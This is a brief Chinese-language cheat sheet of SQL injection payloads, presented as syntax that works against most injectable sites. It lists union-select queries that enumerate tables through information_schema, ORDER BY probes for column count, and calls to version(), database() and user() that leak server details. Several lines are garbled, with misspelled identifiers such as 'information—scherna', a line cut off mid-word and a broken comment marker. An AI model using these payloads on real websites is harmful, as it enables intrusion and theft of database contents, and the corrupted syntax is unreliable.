基本的sql注入语法，大部分存在sql注入都可以使用以上代码来尝试
查询表名
and 1=2 union select 1,table一name from information—scherna.tables where table_schema=database() limit 1,1
and 1=2 union select 1,(select group_concat(table_name) from information.schema.tables where table_schem
暴字段长度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /
